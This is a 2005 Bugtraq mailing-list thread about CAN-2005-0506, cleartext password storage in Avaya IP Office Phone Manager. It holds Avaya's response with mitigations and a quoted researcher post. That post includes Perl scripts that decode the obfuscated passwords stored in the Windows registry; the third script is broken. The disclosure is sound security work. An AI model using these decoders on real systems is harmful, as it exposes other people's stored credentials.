RE: Avaya IP Office Phone Manager - Sensitive Information Cleartext Vulnerability

["Walton, John Michael (John)" <jmwalton@xxxxxxxxx>]

Avaya is aware and currently investigating this issue.  Once our
investigation is complete we will release an Avaya Security Advisory to
address the outlined concerns.  In the interim, we've asked Mitre to
assign a Common Vulnerability and Exposures (CVE) candidate number for
this issue.  They have assigned CAN-2005-0506:
 
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0506

Congruent with generally acceptable security practices, Avaya recommends
that customers restrict remote and local access to their systems to
reduce risks.  Alternatively, customers may choose not to utilize the
"Remember save password" feature in order to prevent a user's password
from being stored in the Windows registry.  

Please note the Avaya Product Security Support Team (PSST) takes the
security of Avaya products seriously.  We would like to develop a
relationship with our customers and the public to encourage them to
forward vulnerabilities to us.  Please send information regarding any
discovered security problems with Avaya products to
securityalerts[at]avaya.com.  I, or someone on the PSST, will work
directly to validate the problem and coordinate a response; including an
acknowledgement for working with us to help protect customers.

John Walton, CISSP
Lead Security Engineer
Product Security Support Team (PSST)
Avaya, Inc.

-----Original Message-----
From: grutz@xxxxxxxxxxxxxx [mailto:grutz@xxxxxxxxxxxxxx] 
Sent: Tuesday, February 22, 2005 12:06 PM
To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Re: Avaya IP Office Phone Manager - Sensitive Information
Cleartext Vulnerability

On Tue, Feb 22, 2005 at 11:29:52PM -0000, m123303@xxxxxxxxxxxxxx wrote:
> I suspect there is a vulnerability in Avaya IP Office Phone Manager

You suspect correctly.

>From some research we did with this product:

http://www.avaya.com/gcm/master-usa/en-us/products/offers/softphone.htm

> [HKEY_LOCAL_MACHINE\SOFTWARE\Avaya\IP400\Generic]
> "UserName"="Joe Smith"
> "Password"=""
> "PBXAddress"="10.154.1.60"

Our values were found in a different registry location but i'm willing
to bet
the obfuscation is the same. One method of attack is to simply place the
stored 
password in your own registry and hit connect. It's only there because
people
are lazy and just want their phones to work. It's easily reversable:

 ----- 8< --- [ snippy snippy bad code ] --- >8 ----

#!/usr/bin/perl
$avayapw=shift;

my $pwlength = ord(substr($avayapw, 0, 1)) - 33;
my $startpoint = ($pwlength * 7) % 55;

print "Password length: $pwlength\n";
print " Start position: $startpoint\n";

print "\nYour password is: " . substr($avayapw, $startpoint, 1);
my $byte = $startpoint;
for ( my $a = 1; $a<$pwlength; $a++) {
  $nextbyte = $byte - 7;
  if ($nextbyte < 0) {
    $nextbyte = 55 - (7 - $byte);
  }
  $byte = $nextbyte;
  print substr($avayapw, $byte, 1);
}

 ----- 8< --- [ snippy snippy bad code ] --- >8 ----

Shorter:

#!/usr/bin/perl
$a=shift;
$l=ord(substr($a,0,1))-33;
for $c ( 1 .. $l ) {
  print substr($a, (((($l-$c)+1)*7)%55), 1);
}

 ----- 8< --- [ snippy snippy bad code ] --- >8 ----

And something more fun:

#!/usr/bin/perl

use Win32::Registry;

$::HKEY_CURRENT_USER->Open("Software\\Avaya\\iClarity\\Options", $hKey)
or die "Can't open: $^E\n";
$l=ord(substr($value,0,1))-33;
for $c ( 1 .. $l ) {
  print substr($a, (((($l-$c)+1)*7%55), 1);
}




-- 
              ..:[ grutz at jingojango dot net ]:..
 GPG fingerprint: 5FD6 A27D 63DB 3319 140F  B3FB EC95 2A03 8CB3 ECB4
       "There's just no amusing way to say, 'I have a CISSP'."